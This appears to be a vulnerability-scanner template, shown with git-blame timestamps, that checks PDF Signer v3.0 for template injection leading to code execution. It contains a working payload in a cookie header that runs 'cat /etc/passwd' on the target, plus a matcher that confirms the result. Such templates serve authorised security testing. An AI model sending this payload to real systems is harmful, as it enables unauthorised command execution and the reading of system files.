2020-04-08 16:50:31 +00:00
|
|
|
id: pdf-signer-ssti-to-rce
|
2020-04-08 12:45:37 +00:00
|
|
|
|
|
|
|
info:
|
|
|
|
name: PDF Signer v3.0 - SSTI to RCE via CSRF Cookie
|
|
|
|
author: madrobot
|
|
|
|
severity: high
|
2021-02-12 05:53:01 +00:00
|
|
|
tags: ssti,rce
|
2020-04-08 12:45:37 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2021-01-13 07:31:46 +00:00
|
|
|
- "{{BaseURL}}"
|
2020-04-08 12:45:37 +00:00
|
|
|
headers:
|
2020-05-24 22:19:21 +00:00
|
|
|
Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl"
|
2021-10-06 23:53:20 +00:00
|
|
|
|
|
|
|
skip-variables-check: true
|
2020-07-08 11:38:57 +00:00
|
|
|
matchers-condition: and
|
2020-04-08 12:45:37 +00:00
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
2020-05-24 22:19:21 +00:00
|
|
|
- 200
|
2020-04-08 12:45:37 +00:00
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0:"
|
2020-04-08 12:45:37 +00:00
|
|
|
part: body
|